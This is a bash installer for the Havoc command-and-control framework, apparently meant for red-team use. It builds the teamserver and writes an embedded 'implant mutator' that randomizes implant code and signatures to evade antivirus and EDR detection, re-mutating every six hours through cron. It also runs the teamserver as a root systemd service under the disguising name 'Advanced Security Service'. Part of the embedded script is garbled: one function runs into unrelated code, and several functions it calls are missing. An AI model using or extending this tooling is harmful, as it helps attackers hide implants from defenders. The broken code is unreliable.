#!/bin/bash # Enhanced Havoc C2 Framework installer optimized for Red Team Operations # This script installs and configures Havoc with EDR evasion features # The mutation features are applied BEFORE building to ensure proper compilation set -e TEMP_DIR=$(mktemp -d) LOG_FILE="/root/Tools/havoc_installer.log" HAVOC_DIR="/root/Tools/havoc" HAVOC_DATA_DIR="/root/Tools/havoc/data" COMPILER_URL="http://musl.cc/x86_64-w64-mingw32-cross.tgz" COMPILER_DIR="/usr/bin/x86_64-w64-mingw32-cross" COMPILER_PATH="$COMPILER_DIR/bin/x86_64-w64-mingw32-gcc" IMPLANT_MUTATOR_SCRIPT="$HAVOC_DIR/implant_mutator.sh" HAVOC_GITHUB="https://github.com/HavocFramework/Havoc.git" # Function to log messages log() { echo "[$(date +"%Y-%m-%d %H:%M:%S")] $1" | tee -a $LOG_FILE } # Function to generate random strings random_string() { local length=${1:-16} cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w $length | head -n 1 } # Generate random build ID for implant signature RANDOMIZED_BUILD_ID=$(random_string 16) # Install required dependencies log "Installing dependencies..." apt-get update >/dev/null 2>&1 apt-get install -y git build-essential apt-utils cmake libfontconfig1 libglu1-mesa-dev libgtest-dev libspdlog-dev libboost-all-dev libncurses5-dev libgdbm-dev libssl-dev libreadline-dev libffi-dev libsqlite3-dev libbz2-dev mesa-common-dev qtbase5-dev qtchooser qt5-qmake qtbase5-dev-tools libqt5websockets5 libqt5websockets5-dev qtdeclarative5-dev golang-go qtbase5-dev libqt5websockets5-dev python3-dev libboost-all-dev mingw-w64 nasm >/dev/null 2>&1 # Fix for JSON dependency log "Installing nlohmann-json manually..." mkdir -p /tmp/json cd /tmp/json wget -q https://github.com/nlohmann/json/releases/download/v3.11.2/json.hpp mkdir -p /usr/include/nlohmann cp json.hpp /usr/include/nlohmann/ cd - > /dev/null # Setup Go environment log "Setting up Go environment..." mkdir -p /root/go export GOPATH=/root/go export PATH=$PATH:/usr/local/go/bin:$GOPATH/bin # Download and install compiler fix log "Downloading and installing fixed compiler..." if [ ! -d "$COMPILER_DIR" ]; then # Download the compiler wget -q -O /tmp/compiler.tgz $COMPILER_URL # Extract to /usr/bin tar -xzf /tmp/compiler.tgz -C /usr/bin # Verify compiler exists if [ -f "$COMPILER_PATH" ]; then log "Compiler installed successfully at $COMPILER_PATH" chmod +x $COMPILER_PATH else log "Error: Compiler installation failed. File not found at $COMPILER_PATH" fi # Clean up rm -f /tmp/compiler.tgz else log "Compiler already installed at $COMPILER_DIR" fi # Clone Havoc repository log "Cloning Havoc repository..." if [ -d "$HAVOC_DIR" ]; then log "Havoc directory already exists, updating..." cd $HAVOC_DIR git pull else # Clone with proper GitHub URL git clone --quiet -b dev $HAVOC_GITHUB $HAVOC_DIR cd $HAVOC_DIR fi # Create data directories mkdir -p $HAVOC_DATA_DIR mkdir -p $HAVOC_DIR/payloads mkdir -p $HAVOC_DIR/payloads/backup # Initialize submodules log "Initializing submodules..." cd $HAVOC_DIR git submodule init git submodule update --recursive # Create implant mutator script BEFORE building log "Creating implant mutator script..." cat > "$IMPLANT_MUTATOR_SCRIPT" << 'EOF' #!/bin/bash # Havoc Implant Mutation Tool # Randomizes critical implant signatures to avoid detection # === CONFIG === HAVOC_ROOT="${HAVOC_ROOT:-$HOME/Tools/havoc}" IMPLANT_DIR="$HAVOC_ROOT/payloads/Demon" SRC_DIR="$IMPLANT_DIR/src" OUTPUT_DIR="$HAVOC_ROOT/payloads" OUTPUT_FILE="$OUTPUT_DIR/Shellcode.x64.bin" BACKUP_DIR="$OUTPUT_DIR/backup" TIMESTAMP=$(date +"%Y%m%d_%H%M%S") CONFIG_BACKUP="$BACKUP_DIR/havoc_config_$TIMESTAMP.bak" LOG_FILE="$OUTPUT_DIR/mutation_$TIMESTAMP.log" # === ADVANCED OPTIONS === RANDOMIZE_STRINGS=true # Randomize identifiers RANDOMIZE_FUNCTIONS=true # Randomize function names RANDOMIZE_IMPORTS=true # Randomize import tables RANDOMIZE_SECTIONS=true # Randomize PE section names RANDOMIZE_RESOURCES=true # Randomize resource values ADD_JUNK_CODE=true # Add harmless junk code ADD_STACK_STRINGS=true # Use stack strings for sensitive strings # === COLORS === RED='\033[1;31m' YELLOW='\033[1;33m' GREEN='\033[1;32m' BLUE='\033[1;34m' NC='\033[0m' # === UTILITY FUNCTIONS === log() { echo -e "$1" | tee -a "$LOG_FILE" } random_str() { local length=${1:-12} tr -dc 'A-Za-z0-9' > "$C_FILE" # Add junk global variable local JUNK_VAR="static const char* $(random_plausible)_str = \"$(random_str 16)\";" sed -i "1s/^/$JUNK_VAR\n/" "$C_FILE" log "${GREEN}[✓] Added junk code to ${C_FILE}${NC}" fi done if ! $FOUND; then log "${YELLOW}[!] No C files found to add junk code.${NC}" fi } randomize_function_names() { if ! $RANDOMIZE_FUNCTIONS; then return fi local H_FILES=$(find "$SRC_DIR" -name "*.h") local FOUND=false for H_FILE in $H_FILES; do if [[ -f "$H_FILE" && $(basename "$H_FILE") != "Common.h" && $(basename "$H_FILE") != "Native.h" ]]; then FOUND=true # Get function declarations local FUNCTIONS=$(grep -E "VOID [A-Za-z0-9_]+\(" "$H_FILE" | grep -v "KERNEL" | grep -v "WINAPI" | awk '{print $2}' | cut -d'(' -f1) for FUNC in $FUNCTIONS; do if [[ "$FUNC" != "main" && "$FUNC" != "DllMain" && ! "$FUNC" =~ ^DemOn ]]; then local NEW_FUNC="${FUNC}_$(random_str 4)" # Replace in header file sed -i "s/\<$FUNC\>/$NEW_FUNC/g" "$H_FILE" # Find and replace in all .c files find "$SRC_DIR" -name "*.c" -exec sed -i "s/\<$FUNC\>/$NEW_FUNC/g" {} \; log "${BLUE}[i] Renamed function: $FUNC → $NEW_FUNC${NC}" fi done fi done if ! $FOUND; then log "${YELLOW}[!] No header files found to randomize function names.${NC}" fi } # === BUILD FUNCTION === rebuild_implant() { log "${YELLOW}[+] Rebuilding Havoc payload...${NC}" # Check if we should use make from the project root if [ -f "$HAVOC_ROOT/Makefile" ]; then cd "$HAVOC_ROOT" || exit 1 make clean >/dev/null 2>&1 make >/dev/null 2>&1 if [ $? -ne 0 ]; then log "${RED}[!] Build failed at project root level${NC}" return 1 fi # Otherwise try to build just the implant elif [ -f "$IMPLANT_DIR/Makefile" ]; then cd "$IMPLANT_DIR" || exit 1 make clean >/dev/null 2>&1 make >/dev/null 2>&1 if [ $? -ne 0 ]; then log "${RED}[!] Build failed at implant level${NC}" return 1 fi else log "${RED}[!] No Makefile found to build the implant${NC}" return 1 fi # Verify the shellcode was generated if [[ -f "$OUTPUT_FILE" ]]; then log "${GREEN}[✓] Build successful! New shellcode generated at: $OUTPUT_FILE${NC}" # Calculate hash for verification local NEW_HASH=$(sha256sum "$OUTPUT_FILE" | cut -d' ' -f1) log "${GREEN}[✓] New shellcode hash: ${NEW_HASH}${NC}" # Optional: Compare with previous hash if a backup exists local BACKUP_FILE="$BACKUP_DIR/implant_$TIMESTAMP.raw" if [[ -f "$BACKUP_FILE" ]]; then local OLD_HASH=$(sha256sum "$BACKUP_FILE" | cut -d' ' -f1) if [[ "$NEW_HASH" != "$OLD_HASH" ]]; then log "${GREEN}[✓] Verified: Shellcode has been successfully mutated${NC}" else log "${YELLOW}[!] Warning: New shellcode hash matches old hash${NC}" fi fi return 0 else log "${RED}[!] Build failed or shellcode was not generated at expected location: $OUTPUT_FILE${NC}" return 1 fi } # === AUTO-SCHEDULING FUNCTION === setup_auto_mutation() { local SCRIPT_PATH=$(realpath "$0") local CRON_ENTRY="0 */6 * * * $SCRIPT_PATH > /dev/null 2>&1" # Check if already in crontab if crontab -l 2>/dev/null | grep -q "$SCRIPT_PATH"; then log "${YELLOW}[!] Auto-mutation already scheduled in crontab${NC}" return fi # Add to crontab (crontab -l 2>/dev/null || echo "") | echo "$CRON_ENTRY" | crontab - if [ $? -eq 0 ]; then log "${GREEN}[✓] Auto-mutation scheduled for every 6 hours${NC}" else log "${RED}[!] Failed to schedule auto-mutation${NC}" fi } # === MAIN EXECUTION === main() { # Create directories mkdir -p "$BACKUP_DIR" mkdir -p "$OUTPUT_DIR" # Start log file echo "=== Havoc Implant Mutation Log - $TIMESTAMP ===" > "$LOG_FILE" log "${BLUE}════════════════════════════════════════════${NC}" log "${BLUE} Havoc Implant Mutation Tool v1.0 ${NC}" log "${BLUE}════════════════════════════════════════════${NC}" # Check for Havoc installation if [ ! -d "$HAVOC_ROOT" ]; then log "${RED}[!] Havoc root directory not found at: $HAVOC_ROOT${NC}" log "${YELLOW}[!] Use HAVOC_ROOT=/path/to/havoc $0 to specify location${NC}" exit 1 fi # Backup everything first log "${YELLOW}[+] Backing up current implant and source files...${NC}" backup_sources # Start mutations log "${YELLOW}[+] Starting implant mutations...${NC}" # Apply all mutation types mutate_transport_http mutate_named_resources mutate_memory_strings mutate_config_file # Advanced mutations if $ADD_JUNK_CODE; then add_junk_code fi if $RANDOMIZE_FUNCTIONS; then randomize_function_names fi # Rebuild the implant rebuild_implant # Show completion summary log "${BLUE}════════════════════════════════════════════${NC}" log "${GREEN}[✓] Implant mutation completed successfully!${NC}" log "${GREEN}[✓] Backup saved to: ${BACKUP_DIR}${NC}" log "${GREEN}[✓] Log file: ${LOG_FILE}${NC}" log "${BLUE}════════════════════════════════════════════${NC}" # Ask about auto-scheduling if [ -t 0 ]; then # Only if running interactively read -p "Would you like to set up automatic mutation every 6 hours? (y/n): " SETUP_AUTO if [ "$SETUP_AUTO" = "y" ]; then setup_auto_mutation fi fi } # Parse command line arguments while [[ $# -gt 0 ]]; do case $1 in --auto-schedule) setup_auto_mutation exit 0 ;; --no-junk) ADD_JUNK_CODE=false shift ;; --no-functions) RANDOMIZE_FUNCTIONS=false shift ;; --config-only) # Only modify the config file mkdir -p "$BACKUP_DIR" backup_sources mutate_config_file exit 0 ;; --help) echo "Usage: $0 [options]" echo "Options:" echo " --auto-schedule Setup automatic mutation via crontab" echo " --no-junk Don't add junk code to source files" echo " --no-functions Don't randomize function names" echo " --config-only Only modify the configuration file" echo " --help Show this help message" echo "" echo "Environment variables:" echo " HAVOC_ROOT Path to Havoc installation (default: $HOME/Tools/Havoc)" exit 0 ;; *) echo "Unknown option: $1" echo "Use --help for usage information" exit 1 ;; esac done # Execute main logic main EOF chmod +x "$IMPLANT_MUTATOR_SCRIPT" # Perform mutations BEFORE building - this is critical log "Running implant mutations script before building..." if [ -d "$HAVOC_DIR/payloads/Demon" ]; then $IMPLANT_MUTATOR_SCRIPT --no-functions if [ $? -ne 0 ]; then log "Warning: Implant mutation script ran with errors, but continuing build..." fi else log "Skipping implant mutations as Demon directory not found yet. Will be applied after build." fi # Install additional Go dependencies for the teamserver log "Installing Go dependencies for teamserver..." cd $HAVOC_DIR/teamserver go mod download golang.org/x/sys cd $HAVOC_DIR # Build Havoc using make - build teamserver first log "Building Havoc teamserver..." cd $HAVOC_DIR make ts-build # Build Havoc client log "Building Havoc client..." make client-build # Create systemd service for Havoc log "Creating systemd service for Havoc teamserver..." cat > /etc/systemd/system/havoc.service << EOF [Unit] Description=Advanced Security Service After=network.target [Service] Type=simple User=root Group=root WorkingDirectory=$HAVOC_DIR/teamserver ExecStart=$HAVOC_DIR/havoc server -d Restart=always RestartSec=10 # Security measures PrivateTmp=true ProtectHome=false NoNewPrivileges=true [Install] WantedBy=multi-user.target EOF # Set proper permissions log "Setting proper permissions..." chmod -R 755 $HAVOC_DIR # Create symlinks to executables in /usr/local/bin ln -sf $HAVOC_DIR/havoc /usr/local/bin/havoc ln -sf $IMPLANT_MUTATOR_SCRIPT /usr/local/bin/havoc-mutate # Enable and start Havoc service log "Enabling and starting Havoc service..." systemctl daemon-reload systemctl enable havoc systemctl start havoc log "Havoc C2 installation completed successfully!"